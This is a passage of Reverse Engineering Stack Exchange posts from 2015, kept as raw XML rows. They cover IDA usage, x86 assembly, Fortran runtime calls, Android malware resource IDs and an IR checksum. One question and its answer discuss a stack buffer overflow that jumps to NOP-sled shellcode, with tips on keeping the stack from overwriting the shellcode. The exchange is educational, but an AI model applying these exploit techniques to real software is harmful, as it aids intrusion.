  <row Id="9389" PostTypeId="2" ParentId="9388" CreationDate="2015-07-18T07:43:05.850" Score="2" Body="&lt;p&gt;1) Run the linux program normally, then attach to the running process from IDA. Of course this won't work if you have to debug the application startup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Define (and export) the environment variables on Linux before you start &lt;code&gt;linux_server&lt;/code&gt;. When you attach IDA to the running server, and start your program, the environment variables should get passed through to your program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, defining any environment variables in windows won't alter the environent of your linux program.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-07-18T07:43:05.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9390" PostTypeId="1" CreationDate="2015-07-18T10:54:58.037" Score="1" ViewCount="927" Body="&lt;p&gt;I'm trying to implement the &lt;code&gt;mul&lt;/code&gt; x86 assembly instruction in python and would like your advise to do it in the most pythonic way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I've done so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eax = 0x51EB851F&#xA;edx = 0x5D0FCF&#xA;&#xA;# mul edx&#xA;&#xA;#EDX (higher part of result)&#xA;&amp;gt;&amp;gt;&amp;gt; hex(0x5d0fcf * 0x51EB851F &amp;amp; 0xFFFFFFFF00000000)&#xA;'0x1dc79e00000000L' # To be truncated (EDX=0x001DC79E)&#xA;&#xA;# EAX (lower part of result)&#xA;&amp;gt;&amp;gt;&amp;gt; hex(0x5d0fcf * 0x51EB851F &amp;amp; 0xFFFFFFFF)&#xA;'0x66807511'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a cleaner/more pythonic way of doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance for your inputs.&lt;/p&gt;&#xA;" OwnerUserId="13001" LastActivityDate="2015-07-18T10:54:58.037" Title="Implementation of mul x86 assembly instruction in python" Tags="|assembly|x86|python|" AnswerCount="0" CommentCount="4" ClosedDate="2015-07-21T07:56:27.633" ContentLicense="CC BY-SA 3.0" />
  <row Id="9391" PostTypeId="2" ParentId="9322" CreationDate="2015-07-18T12:59:17.717" Score="1" Body="&lt;p&gt;WXS on the Yara Google Groups was kind enough to post an answer to this question. He has several examples here: &lt;a href=&quot;https://gist.github.com/wxsBSD/4d5d7677578f80cdf82a&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/wxsBSD/4d5d7677578f80cdf82a&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2172" LastActivityDate="2015-07-18T12:59:17.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9392" PostTypeId="2" ParentId="9348" CreationDate="2015-07-18T19:32:23.090" Score="4" Body="&lt;p&gt;If you look at &lt;code&gt;lib/Target/X86/X86InstrInfo.cpp&lt;/code&gt; in the &lt;code&gt;LLVM&lt;/code&gt; source code you can see that they prefer the &lt;code&gt;LAHF&lt;/code&gt; and &lt;code&gt;SAHF&lt;/code&gt; instructions to &lt;code&gt;PUSHF&lt;/code&gt; and &lt;code&gt;POPF&lt;/code&gt; for speed reasons.  These instructions don't deal with the overflow flag &lt;code&gt;OF&lt;/code&gt; so this must be handled with separately.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;alt_pushf:        seto %al                  ; save OF to AL&#xA;                  lahf                      ; save other flags to AH&#xA;                  push %eax                 ; push&#xA;&#xA;alt_popf:         pop %eax                  ; pop&#xA;                  addb $127, %al            ; restore OF&#xA;                  sahf                      ; restore other flags&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know if this will be any faster than @GuntramBlohm's clever &lt;code&gt;LOOP&lt;/code&gt; option so it might be worth benchmarking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note that should you want to use this in future for 64-bit code you will need to check for the presence of the &lt;code&gt;LAHF&lt;/code&gt; and &lt;code&gt;SAHF&lt;/code&gt; instructions.)&lt;/p&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="4731" LastEditDate="2015-07-18T20:07:40.527" LastActivityDate="2015-07-18T20:07:40.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9393" PostTypeId="1" AcceptedAnswerId="9396" CreationDate="2015-07-18T21:18:36.563" Score="0" ViewCount="408" Body="&lt;p&gt;I've got some windows dll file. This dll-file exports a couple of functions to read HDD with some unknown (to me) filesystem. So, I've launched IDA disassembler and started an investigation on how those disk operations are going.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, there are two part:  Initialize and Act. Currently I'm on Initialize part of the code. And I'm stuck with this piece of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; at this point: &#xA;;   edi = 0, &#xA;;   ebp = some 32-bit value, lets call it an Argument, &#xA;;   esi holds address of some buffer with size of 07b0h bytes&#xA;.text:100014C9                 xor     ecx, ecx        &#xA;.text:100014CB                 mov     eax, ebp&#xA;.text:100014CD                 mov     edx, 14h&#xA;.text:100014D2                 mul     edx             ; eax:edx = Argument * 14h&#xA;.text:100014D4                 seto    cl              ; ecx = (eax != 0)&#xA;.text:100014D7                 mov     [esi+14h], edi&#xA;.text:100014DA                 neg     ecx             ; ecx = -1 = 0ffffffffh (eax != 0), ecx = 0 (eax == 0)&#xA;.text:100014DC                 or      ecx, eax        ; eax = 0ffffffffh (OF set), eax = eax (OF not set)&#xA;.text:100014DE                 push    ecx             ; size_t&#xA;; jmp_to_operator_new holds just a command to &#xA;; c++ (i assume) 'new' operator&#xA;.text:100014DF                 call    jmp_to_operator_new&#xA;.text:100014E4                 lea     ecx, [ebp+ebp*4+0]&#xA;.text:100014E8                 add     ecx, ecx&#xA;.text:100014EA                 add     ecx, ecx&#xA;.text:100014EC                 push    ecx             ; size_t&#xA;.text:100014ED                 push    edi             ; int&#xA;.text:100014EE                 push    eax             ; void *&#xA;.text:100014EF                 mov     [esi+14h], eax&#xA;.text:100014F2                 call    _memset&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, as you may have noticed, I assume that that at &lt;em&gt;text:100014DE&lt;/em&gt; point &lt;em&gt;ecx&lt;/em&gt; can only hold either -1 (&lt;em&gt;0ffffffffh&lt;/em&gt;) or zero as a value to pass to operator &lt;em&gt;new&lt;/em&gt; (which doesn't do much than just call to &lt;em&gt;_malloc&lt;/em&gt;). The result of memory allocation is then passed as destination buffer to &lt;em&gt;_memset&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence my question is here. Am I wrong about the value of &lt;em&gt;ecx&lt;/em&gt; at &lt;em&gt;text:100014DE&lt;/em&gt; point? Where am I wrong? What is correct value?&lt;/p&gt;&#xA;" OwnerUserId="13036" LastActivityDate="2015-07-18T23:27:53.600" Title="Some help with disassembled code understanding" Tags="|ida|disassembly|assembly|x86|dll|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9395" PostTypeId="1" CreationDate="2015-07-18T21:45:08.330" Score="1" ViewCount="305" Body="&lt;p&gt;I have two 64 bit elf files for one program but with 2 different version.&#xA;IDA can resolve the function names in one of them while not for the other.&#xA;I don't have bindiff but I want an automatic solution like this tool if available&lt;/p&gt;&#xA;" OwnerUserId="12628" LastActivityDate="2015-09-17T12:08:41.877" Title="How to port function names from one exe to another?" Tags="|ida|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9396" PostTypeId="2" ParentId="9393" CreationDate="2015-07-18T23:27:53.600" Score="0" Body="&lt;p&gt;You are wrong with your interpretation.  As you see correctly, after 100014da ecx is either zero (no overflow in the mul statement) or 0xffffffff (overflow in mul, neg works with twos complement). After 100014dc however, ecx is either 0xffffffff (unchanged on overflow) or equals eax (no overflow), as in the intel notation the destination register is the left one. eax remains unchanged.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2015-07-18T23:27:53.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9397" PostTypeId="1" CreationDate="2015-07-19T01:54:23.237" Score="1" ViewCount="392" Body="&lt;p&gt;Here is the simplest example to show my problem. Everything is in WinXp sp3 with DEP disabled.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char f() {&#xA;    // shellcode starting with some NOPs,&#xA;    char shellcode[400]= {&#xA;            0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, &#xA;            0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, &#xA;            0x66, ... some basic shellcode here ...   0x30. &#xA;            0xCC&#xA;    };&#xA;&#xA;    // Overwriting Return address in stack to return to NOPs in shellcode above&#xA;    b[404]=0xf0;&#xA;    b[405]=0xfb;&#xA;    b[406]=0x12;&#xA;    b[407]=0x00;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This ended with failure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(920.e7c): Illegal instruction - code c000001d (!!! second chance !!!)&#xA;eax=7c801d7b ebx=7c80262c ecx=7c801bfa edx=00060002 esi=00000000 edi=7c802654&#xA;eip=0012fc15 esp=0012ff08 ebp=7e410000 iopl=0         nv up ei pl zr na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246&#xA;0012fc15 d9907ca5e490    fst     dword ptr [eax-6F1B5A84h] ds:0023:0d64c2f7=????????&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I execute the shellcode directly, it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char f() {&#xA;    // shellcode starting with some NOPs,&#xA;    char shellcode[400]= {&#xA;            0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,  &#xA;            0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,&#xA;            0x66, ... some basic shellcode here ...   0x30. &#xA;            0xCC&#xA;    };&#xA;&#xA;    void *exec = shellcode;&#xA;&#xA;    ((void(*)())exec)();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did trace the execution in the above two cases. And in both cases, EIP did successfully landed on the NOPs area and continue execution. But I don't know why the first case failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of guess is that in the first case, when f() returns to 0x0012fbf0, the shellcode in the area outside of the stack frame(ie. at that point, the ESP is below the SHELLCODE area) .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone can give an idea why the first case failed?&lt;/p&gt;&#xA;" OwnerUserId="4758" LastActivityDate="2015-12-16T11:04:05.507" Title="Execution failure of shellcode in stack without DEP" Tags="|exploit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9398" PostTypeId="2" ParentId="9397" CreationDate="2015-07-19T07:45:14.047" Score="1" Body="&lt;p&gt;Your &quot;ESP is below the SHELLCODE&quot; probably should have been &quot;ESP is &lt;em&gt;above&lt;/em&gt; the SHELLCODE&quot; since, in x86, the stack grows down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, your shell code being in the area &quot;just beyond&quot; the stack pointer might be your problem. Whenever you call a function from your shell code, that function will allocate some space on the stack. When that function call another one, more space on the stack. The stuff that those functions put on the stack will start overwriting your shell code at one point or another. If they overwrite the name of the executable you're trying to start, your shellcode will try to start a  nonsense name, which will fail. If they overwrite the end of your shell code, then return to your shell code, something like you had in your first example will happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to put a &lt;code&gt;sub esp, 0x200&lt;/code&gt; at the start of your shell code, to grow the allocated part of the stack beyond your shell code again. (Of course the number you need to subtract depends on the size of your shellcode). Or, make your array much larger, and start with a lot more &lt;code&gt;0x90&lt;/code&gt; bytes, to increase the chance that your stack won't grow into the &quot;useful&quot; parts of your shellcode.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-07-19T07:45:14.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9399" PostTypeId="2" ParentId="9395" CreationDate="2015-07-19T10:46:40.177" Score="3" Body="&lt;p&gt;You can try and use &lt;a href=&quot;https://github.com/joxeankoret/diaphora&quot; rel=&quot;nofollow&quot;&gt;Diaphora&lt;/a&gt;. It is open source, and is probably the best Bindiff alternative out there.&#xA;That said, be aware that binary diffing might fail in many cases regardless of the tools used.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2015-07-19T10:46:40.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9400" PostTypeId="1" CreationDate="2015-07-19T14:23:22.487" Score="1" ViewCount="476" Body="&lt;p&gt;I am reversing an application and found that it has many calls like:&#xA;for_write_int_fmt_xmit((__int64)&amp;amp;v1041, 9069724LL, (char *)&amp;amp;v707, v166);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;result = for_write_seq_lis((unsigned __int64)&amp;amp;v46);&#xA;for_dealloc_allocatable(*(void **)(retaddr - 296));&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using ida pro however I would like to know what these functions do and their api documentation.&#xA;Can anyone help me please?&#xA;There are a lot of them in the application and I think they should be in one manual but failed to find&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for_close&lt;br&gt;&#xA;for__close_args&lt;br&gt;&#xA;for__close_default&lt;br&gt;&#xA;for__close_proc&lt;br&gt;&#xA;for__desc_ret_item&lt;br&gt;&#xA;for__key_desc_ret_item&lt;br&gt;&#xA;for__desc_test_item&lt;br&gt;&#xA;for__desc_zero_length_item&lt;br&gt;&#xA;for__this_image_number_or_zero&lt;br&gt;&#xA;for__io_return&lt;br&gt;&#xA;for__issue_diagnostic&lt;br&gt;&#xA;for__get_msg&lt;br&gt;&#xA;for_emit_diagnostic     &lt;/p&gt;&#xA;" OwnerUserId="12628" LastEditorUserId="12628" LastEditDate="2015-07-19T14:59:34.803" LastActivityDate="2015-10-18T22:17:00.050" Title="API calls documentations in ida pro (fortran)" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9401" PostTypeId="1" CreationDate="2015-07-19T19:45:01.163" Score="0" ViewCount="431" Body="&lt;p&gt;Ditto. Any technique that allows to intercept sys calls issued from a shared object file? At runtime, the shared object is &lt;code&gt;dlopen&lt;/code&gt;'ed by main().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One candidate is to use static binary rewriting (e.g. dyninst). But as I tried, it throws an error (saying about &lt;code&gt;r_debugCheck()&lt;/code&gt; failed). Wondering if anyone had experiences in this task.&lt;/p&gt;&#xA;" OwnerUserId="12473" LastActivityDate="2015-07-19T19:45:01.163" Title="Intercepting syscall in a shared object (dynamically linked)" Tags="|binary-analysis|x86|linux|dynamic-linking|system-call|" AnswerCount="0" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9402" PostTypeId="1" CreationDate="2015-07-19T21:09:02.380" Score="2" ViewCount="354" Body="&lt;p&gt;I was trying to reverse engineer an Android Malware sample and I find the following sample when decompiling the jar file I obtained by running &lt;code&gt;dex2jar&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;  if (i &amp;gt;= paramBundle.length())&#xA;  {&#xA;    ((TextView)findViewById(2131034112)).setText(((StringBuilder)localObject).toString());&#xA;    return;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I find the string that &lt;code&gt;2131034112&lt;/code&gt; refers to?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-07-20T02:59:56.547" Title="Android malware reversing : constant values" Tags="|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9403" PostTypeId="2" ParentId="9402" CreationDate="2015-07-20T02:59:56.547" Score="3" Body="&lt;p&gt;The jar file produced by &lt;code&gt;dextojar&lt;/code&gt; should include a class named &lt;code&gt;R&lt;/code&gt;, which contains subclasses with resource id definitions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public final class R {&#xA;...&#xA;    public static final class list {&#xA;        public static final int filename=0x7f050001;&#xA;        public static final int type=0x7f050000;&#xA;    }&#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The (sub)class name, and variable names, correspond to the ids from the resource definitions in the apk file (res/layout/*.xml). In the above example, the R.java was autogenerated from these entries in res/layout/main.xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;TextView&#xA;   android:id=&quot;@+list/type&quot;&#xA;   android:layout_width=&quot;20dip&quot;&#xA;   android:layout_height=&quot;20dip&quot;&#xA;   android:textSize=&quot;16sp&quot;&#xA;    /&amp;gt;&#xA; &amp;lt;TextView&#xA;   android:id=&quot;@+list/filename&quot;&#xA;   android:layout_width=&quot;0dp&quot;    android:layout_weight=&quot;1&quot;&#xA;   android:layout_height=&quot;wrap_content&quot;&#xA;   android:textSize=&quot;16sp&quot;&#xA;    /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, since &lt;code&gt;2131034112&lt;/code&gt; equals &lt;code&gt;0x7F050000&lt;/code&gt;, with my &lt;code&gt;R.java&lt;/code&gt; and &lt;code&gt;main.xml&lt;/code&gt;, your code would set the &lt;code&gt;@+list/type&lt;/code&gt; textview content.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-07-20T02:59:56.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9404" PostTypeId="2" ParentId="9400" CreationDate="2015-07-20T03:22:24.297" Score="0" Body="&lt;p&gt;These seem to be internal library routines from the intel fortran compiler. There is some &lt;a href=&quot;http://scc.qibebt.cas.cn/docs/compiler/intel/11.1/Intel%20Fortran%20Compiler%20for%20Linux/main_for/index.htm&quot; rel=&quot;nofollow&quot;&gt;online documentation&lt;/a&gt; available, which lists some &lt;code&gt;for_*&lt;/code&gt; functions (check Language Reference/A-Z Reference in the menu, then &lt;a href=&quot;http://scc.qibebt.cas.cn/docs/compiler/intel/11.1/Intel%20Fortran%20Compiler%20for%20Linux/main_for/lref_for/source_files/rfmistab.htm&quot; rel=&quot;nofollow&quot;&gt;Miscellaneous Run-Time Routines&lt;/a&gt; to the right), but this doesn't include your functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd assume they're used by the run time library, internally, and not documented for general use.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-07-20T03:22:24.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9405" PostTypeId="1" CreationDate="2015-07-20T03:45:36.023" Score="0" ViewCount="502" Body="&lt;p&gt;I've been slowly learning the processes of packet decryption over the last 6 or so months, and it's been slow progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found the winsock2 send function in OllyDbg, and I'm using &lt;a href=&quot;http://blog.extendedgames.com/2012/09/finding-gamesend-and-game-crypt.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt; to work through what encryption is being used - screen of the location;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KBw7G.jpg&quot; alt=&quot;http://i59.tinypic.com/2j29mro.jpg&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm now about 20,000 feet out of my depth. What I'm hoping to do is figure out the encryption used and then just packet sniff a whole bunch of packets so I can figure out the kind of data being sent etc. (please poke wholes in this plan if you see them!). If anyone can look at the print screen and just 'see' the encryption that would be great, if not any advice on what to do next would be appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11895" LastActivityDate="2015-07-20T03:45:36.023" Title="How to identify the encryption in packet data using OLLYDBG" Tags="|encryption|decryption|packet|" AnswerCount="0" CommentCount="4" ClosedDate="2015-08-03T05:10:33.643" ContentLicense="CC BY-SA 3.0" />
  <row Id="9406" PostTypeId="1" CreationDate="2015-07-20T05:52:31.607" Score="2" ViewCount="223" Body="&lt;p&gt;In case you already know, there is a full-feature decompiler for Java/Android called JEB (&lt;a href=&quot;https://www.pnfsoftware.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.pnfsoftware.com/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the most important features include the ability to rename identifiers and click-through program trace functionality and cross referencing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there such an equivalent IDE for Javascript? Commercial or free.&lt;/p&gt;&#xA;" OwnerUserId="9782" LastActivityDate="2015-07-22T14:45:40.127" Title="Javascript equivalent of JEB" Tags="|debugging|java|deobfuscation|javascript|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9407" PostTypeId="2" ParentId="9400" CreationDate="2015-07-20T20:09:35.983" Score="1" Body="&lt;p&gt;Guntram's answer identifies that these are library functions from the Intel Fortran Compiler. And as he said, they're internal functions and thus not publicly documented. However, that doesn't mean we can't find the code behind these functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download the Intel Fortran Compiler from &lt;a href=&quot;https://software.intel.com/en-us/fortran-compilers/try-buy&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://software.intel.com/en-us/fortran-compilers/try-buy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then extract the &lt;code&gt;.obj&lt;/code&gt; files from the &lt;code&gt;IFCORE&lt;/code&gt; library to find the code behind the functions you listed above. For example, the code for &lt;code&gt;for__key_desc_test_item()&lt;/code&gt; is in &lt;code&gt;for_desc_item.obj&lt;/code&gt; in &lt;code&gt;libifcore.lib&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wWcfY.png&quot; alt=&quot;libifcore.lib&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decompiling with &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/index.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hex-Rays&lt;/a&gt; yields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZO0mW.png&quot; alt=&quot;for__desc_test_item&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-07-20T20:09:35.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9408" PostTypeId="1" CreationDate="2015-07-21T07:37:22.853" Score="1" ViewCount="705" Body="&lt;p&gt;I have a .ko file which I grabbed from a router (MSB MIPS), and I'm trying to debug a specific function inside it with IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since i can't just &quot;run&quot; the ko file with QEmu, I tried to change its header to make QEmu think It's an ELF executable. By doing this, I was able to run and connect with IDA (with warnings of course) but when I do the first step inside the function I get &quot;SIGSEGV&quot; signal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My setup is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Ubuntu host with statically compiled qemu-mips&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;VM with IDA PRO&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;BTW, the function I'm trying to debug is not using any hardware. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you can point me to the right direction.&lt;/p&gt;&#xA;" OwnerUserId="4724" LastEditorUserId="53" LastEditDate="2015-07-21T07:53:08.780" LastActivityDate="2015-07-21T07:53:08.780" Title="Debug function in MIPS .ko file (with IDA and Qemu)" Tags="|ida|debugging|mips|qemu|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9409" PostTypeId="2" ParentId="9167" CreationDate="2015-07-21T09:50:45.957" Score="0" Body="&lt;p&gt;Fixed in the Plugin by using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;qflush(fp) //&amp;lt;-within the workloop&#xA;qfclose(fp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and for the Python script respectively:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2015-07-21T09:50:45.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9410" PostTypeId="1" AcceptedAnswerId="9412" CreationDate="2015-07-21T11:44:48.563" Score="0" ViewCount="4763" Body="&lt;p&gt;I know that red addresses means, that code do not recognize as a function in IDA, because that code never get called.&#xA;But I have found a piece of code that is marked red, but when debugging, I saw that this code gets called. But I still can't get that graph view of that piece of code and it still marked red.&#xA;Can someone please explain what's happening here..?&lt;/p&gt;&#xA;" OwnerUserId="13059" LastActivityDate="2015-07-21T12:40:51.323" Title="Red addresses in IDA Pro" Tags="|ida|disassembly|static-analysis|control-flow-graph|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9411" PostTypeId="2" ParentId="9373" CreationDate="2015-07-21T11:48:54.123" Score="2" Body="&lt;p&gt;The following works for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;ida.idc&quot;;&#xA;#include &quot;idc.idc&quot;;   &#xA;static main()&#xA;{&#xA;    auto retval;&#xA;    auto cur;&#xA;    auto end;&#xA;    auto str_gdlpath;&#xA;    cur = MinEA();&#xA;    end = MaxEA();&#xA;    //str_gdlpath = GetIdbPath();&#xA;    //str_gdlpath = substr(str_gdlpath,0,strlen(str_gdlpath)-4)+&quot;.gdl&quot;;&#xA;    str_gdlpath = &quot;D:\\temp\\callgraph&quot;;&#xA;    retval = GenFuncGdl(str_gdlpath, &quot;Call Gdl&quot;,cur, end, CHART_NOLIBFUNCS);&#xA;&#xA;    //necessary for ida to exit in batch mode&#xA;    exit(0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the command line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D:\temp&amp;gt;&quot;C:\Program Files (x86)\IDA\idaw&quot; -c -A -SD:\temp\autogengraph2.idc D:\temp\testdll.dll &amp;gt; NUL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The trailing NUL is necessary to run the batch without ida showing up. Note that in the idc script ida has to be terminated by exit() in order for the script to return to the command prompt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The GenCallGdl function may work as well, but the documentation is erroneous as the function works with less parameters than the Ida Help indicates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the output file, the .gdl extension is appended automatically. As I have no independent .gdl reader, I have not been able to control the output file if it shows the correct graph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a general rule for debugging such things, first let Ida show up when running the cmdline batch (i.e. without the -c -A parameters), to be able to see its errors. When everything works, run it silently.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2015-07-21T11:48:54.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9412" PostTypeId="2" ParentId="9410" CreationDate="2015-07-21T11:58:03.810" Score="4" Body="&lt;p&gt;To make IDA recognize the code as a procedure, press &lt;kbd&gt;P&lt;/kbd&gt; at the start of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ida &quot;&lt;em&gt;automatically presses the &lt;kbd&gt;P&lt;/kbd&gt; key&lt;/em&gt;&quot; if it sees a direct call to that address. However, if the source code was C++ or another language with classes, the function might never be called directly, only indirectly through the vtable (table of method start addresses) of the class. In this case, you'll have to mark the procedure manually.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="53" LastEditDate="2015-07-21T12:40:51.323" LastActivityDate="2015-07-21T12:40:51.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9413" PostTypeId="1" AcceptedAnswerId="9415" CreationDate="2015-07-21T22:40:34.010" Score="5" ViewCount="1410" Body="&lt;p&gt;I am reverse engineering IR protocol of LG air conditioner. AC generally send the whole current state of remote on each key press. Data sent is 28 bits long, last 4 bits seem to be the checksum. I have already tried &lt;code&gt;reveng&lt;/code&gt;, but without luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bits 14-16 are mode of operation (heat/cool/fan/auto). Bits 17-20 are temperature + 15 degrees, bits 22-24 are fan speed and bits 25-28 seem to be 4-bit checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are sample values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;100010000000100001000101 0001&#xA;100010000000100001010101 0010&#xA;100010000000100001100101 0011&#xA;100010000000100010000100 0100&#xA;100010000000100011000101 1001&#xA;100010000000100011010101 1010&#xA;100010000000100011110101 1100&#xA;100010000000000011000101 0001&#xA;100010001100000000000101 0001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the last two, only the position of &lt;code&gt;11&lt;/code&gt; changed, but checksum stayed the same. How is that checksum calculated?&lt;/p&gt;&#xA;" OwnerUserId="13063" LastActivityDate="2018-09-25T08:14:01.397" Title="Reverse engineer 4-bit CRC in LG IR packet" 